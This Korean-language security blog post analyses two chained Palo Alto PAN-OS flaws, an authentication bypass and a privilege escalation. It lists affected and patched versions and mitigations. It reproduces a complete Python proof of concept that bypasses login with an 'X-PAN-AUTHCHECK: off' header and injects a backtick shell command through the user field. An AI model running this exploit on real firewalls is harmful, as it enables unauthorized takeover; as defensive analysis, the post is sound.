1. PAN-OS

- Palo Alto Networks 사에서 판매하는 장비들에 탑재되어 있는 운영체제

2. 주요내용 [1]

2.1 CVE-2024-0012 [2]

[사진 1] CVE-2024-0012

- Palo Alto Networks PAN-OS에 존재하는 인증 우회 취약점 (CVSS : 9.3)

> 공격자가 인증이나 사용자 상호작용 없이 관리자 권한을 얻을 수 있으며, 방화벽 설정에 무단 접근 및 제어가 가능
CVE-2024-9474와 연계하여 공격이 진행 중

영향받는 버전
- PAN-OS 11.2.4-h1 버전 미만
- PAN-OS 11.1.5-h1 버전 미만
- PAN-OS 11.0.6-h1 버전 미만
- PAN-OS 10.2.12-h2 버전 미만

 

- 취약점은 uiEnvSetup.php 스크립트에서 발생

> 스크립트는 HTTP 헤더 HTTP_X_PAN_AUTHCHECK가 "on" 또는 "off"인지 확인
> "on"으로 설정된 경우 스크립트는 사용자를 로그인 페이지로 리다이렉션
> 헤더가 기본 구성(/etc/nginx/conf/proxy_default.conf 파일)에서 "on"으로 설정되어 있으나, 이를 "off"로 변경하여 인증을 우회할 수 있음

if (
    $_SERVER['HTTP_X_PAN_AUTHCHECK'] != 'off'
    && $_SERVER['PHP_SELF'] !== '/CA/ocsp'
    &&  $_SERVER['PHP_SELF'] !== '/php/login.php'
    && stristr($_SERVER['REMOTE_HOST'], '127.0.0.1') === false
) {
    $_SERVER['PAN_SESSION_READONLY'] = true;
    $ws = WebSession::getInstance($ioc);
    $ws->start();
    $ws->close();
    // these are horrible hacks.
    // This whole code should be removed and only make available to a few pages: main, debug, etc.
    if (
        !Str::startsWith($_SERVER['PHP_SELF'], '/php-packages/panorama_webui/php/api/index.php')
        && !Str::startsWith($_SERVER['PHP_SELF'], '/php-packages/firewall_webui/php/api/index.php')
    ) {
        if (Backend::quickSessionExpiredCheck()) {
            if (isset($_SERVER['QUERY_STRING'])) {
                Util::login($_SERVER['QUERY_STRING']);
            } else {
                Util::login();
            }
            exit(1);
        }
    }
}

 

[사진 2] HTTP_X_PAN_AUTHCHECK: off 및 200 OK

2.2 CVE-2024-9474 [3]

[사진 3] CVE-2024-9474

- Palo Alto Networks PAN-OS에 존재하는 권한 상승 취약점

영향받는 버전
- PAN-OS 11.2.4-h1 버전 미만
- PAN-OS 11.1.5-h1 버전 미만
- PAN-OS 11.0.6-h1 버전 미만
- PAN-OS 10.2.12-h2 버전 미만
- PAN-OS 10.1.14-h6 버전 미만

 

- 취약점은 createRemoteAppwebSession.php 스크립트에서 발생

> 해당 스크립트를 사용하면 공격자는 임의의 사용자를 만들고, PHPSESSID(인증 토큰)를 할당받을 수 있음
할당받은 인증 토큰을 이용해 악성 명령 실행 가능

[사진 3] PHPSESSID 획득

2.3 PoC [4]

- X-PAN-AUTHCHECK 헤더를 off로 설정하여 인증 우회

- createRemoteAppwebSession.php를 이용해 PHPSESSID 획득

#POC is written by Chirag Artani
import requests
import argparse
from urllib.parse import urljoin
import logging
import urllib3
from requests.packages.urllib3.exceptions import InsecureRequestWarning

def setup_logging():
    logging.basicConfig(
        level=logging.INFO,
        format='%(asctime)s - %(levelname)s - %(message)s'
    )

class VulnChecker:
    def __init__(self, base_url, verify_ssl=False, timeout=30):
        self.base_url = base_url
        self.verify_ssl = verify_ssl
        self.timeout = timeout
        self.session = requests.Session()
        
        if not verify_ssl:
            urllib3.disable_warnings(InsecureRequestWarning)
            self.session.verify = False
    
    def make_request(self, method, endpoint, **kwargs):
        try:
            url = urljoin(self.base_url, endpoint)
            kwargs['timeout'] = self.timeout
            kwargs['verify'] = self.verify_ssl
            
            response = self.session.request(method, url, **kwargs)
            response.raise_for_status()
            return response
            
        except requests.exceptions.SSLError as e:
            logging.error(f"SSL Error: {str(e)}")
            logging.info("Try using --no-verify if the target uses self-signed certificates")
            return None
        except requests.exceptions.RequestException as e:
            logging.error(f"Request failed: {str(e)}")
            return None

    def create_initial_session(self):
        """Create initial session with command injection payload"""
        headers = {
            'X-PAN-AUTHCHECK': 'off',
            'Content-Type': 'application/x-www-form-urlencoded'
        }
        
        # Command injection payload to write system info to file
        data = {
            'user': '`echo $(uname -a) > /var/appweb/htdocs/unauth/watchTowr.php`',
            'userRole': 'superuser',
            'remoteHost': '',
            'vsys': 'vsys1'
        }
        
        response = self.make_request(
            'POST',
            '/php/utils/createRemoteAppwebSession.php/watchTowr.js.map',
            headers=headers,
            data=data
        )
        
        if response and 'PHPSESSID' in response.cookies:
            phpsessid = response.cookies['PHPSESSID']
            logging.info(f"Initial session created: {phpsessid}")
            return phpsessid
        return None

    def trigger_execution(self, phpsessid):
        """Trigger command execution via index page"""
        headers = {
            'Cookie': f'PHPSESSID={phpsessid}',
            'X-PAN-AUTHCHECK': 'off',
            'Connection': 'keep-alive'
        }
        
        response = self.make_request(
            'GET',
            '/index.php/.js.map',
            headers=headers
        )
        
        if response:
            logging.info(f"Trigger response status: {response.status_code}")
            if response.text:
                logging.info(f"Response content length: {len(response.text)}")
            return True
        return False

    def verify_execution(self):
        """Verify command execution by checking created file"""
        response = self.make_request(
            'GET',
            '/unauth/watchTowr.php'
        )
        
        if response and response.status_code == 200:
            logging.info("Command execution verified")
            if response.text:
                logging.info(f"System info: {response.text.strip()}")
            return True
        return False

def main():
    parser = argparse.ArgumentParser(description='Vulnerability Check Script')
    parser.add_argument('--url', required=True, help='Target base URL (http:// or https://)')
    parser.add_argument('--no-verify', action='store_true', help='Disable SSL verification')
    parser.add_argument('--timeout', type=int, default=30, help='Request timeout in seconds')
    args = parser.parse_args()
    
    setup_logging()
    logging.info(f"Starting vulnerability check against {args.url}")
    
    checker = VulnChecker(
        args.url,
        verify_ssl=not args.no_verify,
        timeout=args.timeout
    )
    
    # Step 1: Create session with command injection payload
    phpsessid = checker.create_initial_session()
    if not phpsessid:
        logging.error("Session creation failed")
        return
    
    # Step 2: Trigger command execution
    if checker.trigger_execution(phpsessid):
        logging.info("Command execution triggered successfully")
        
        # Step 3: Verify the result
        if checker.verify_execution():
            logging.info("Verification completed successfully")
        else:
            logging.error("Verification failed - file not created or accessible")
    else:
        logging.error("Command execution trigger failed")

if __name__ == "__main__":
    main()

3. 대응방안

- 벤더사 제공 최신 업데이트 적용 [5][6]

제품명 취약점 영향받는 버전 해결 버전
PAN-OS CVE-2024-0012 PAN-OS 11.2.4-h1 버전 미만 PAN-OS 11.2.4-h1 및 이후 버전
PAN-OS 11.1.5-h1 버전 미만 PAN-OS 11.1.5-h1 및 이후 버전
PAN-OS 11.0.6-h1 버전 미만 PAN-OS 11.0.6-h1 및 이후 버전
PAN-OS 10.2.12-h2 버전 미만 PAN-OS 10.2.12-h2 및 이후 버전
CVE-2024-9474 PAN-OS 11.2.4-h1 버전 미만 PAN-OS 11.2.4-h1 및 이후 버전
PAN-OS 11.1.5-h1 버전 미만 PAN-OS 11.1.5-h1 및 이후 버전
PAN-OS 11.0.6-h1 버전 미만 PAN-OS 11.0.6-h1 및 이후 버전
PAN-OS 10.2.12-h2 버전 미만 PAN-OS 10.2.12-h2 및 이후 버전
PAN-OS 10.1.14-h6 버전 미만 PAN-OS 10.1.14-h6 및 이후 버전

 

- 권고 사항

① 접근 제한 : 관리 인터페이스에 대한 접근을 신뢰할 수 있는 내부 네트워크로 제한 및 다중 인증(MFA)을 구현

> 특정 IP 주소로만 접속이 가능하게 하면 CVSS 9.3에서 7.5로 감소

② 시스템 모니터링: 의심스러운 활동을 실시간으로 감지하고 대응하기 위한 지속적인 모니터링

③ 관리자 교육: 시스템 관리자들이 최신 보안 권고 사항을 숙지하고, 신속한 업데이트의 중요성을 이해하도록 교육

4. 참고

[1] https://labs.watchtowr.com/pots-and-pans-aka-an-sslvpn-palo-alto-pan-os-cve-2024-0012-and-cve-2024-9474/
[2] https://nvd.nist.gov/vuln/detail/CVE-2024-0012
[3] https://nvd.nist.gov/vuln/detail/CVE-2024-9474
[4] https://github.com/Sachinart/CVE-2024-0012-POC
[5] https://security.paloaltonetworks.com/CVE-2024-0012
[6] https://security.paloaltonetworks.com/CVE-2024-9474
[7] https://www.picussecurity.com/resource/blog/palo-alto-cve-2024-0012-and-cve-2024-9474-vulnerabilities-explained
[8] https://www.boannews.com/media/view.asp?idx=134400&page=9&kind=1
[9] https://www.boannews.com/media/view.asp?idx=134571&page=1&kind=1
[10] https://www.dailysecu.com/news/articleView.html?idxno=161318
[11] https://www.dailysecu.com/news/articleView.html?idxno=161409

+ Recent posts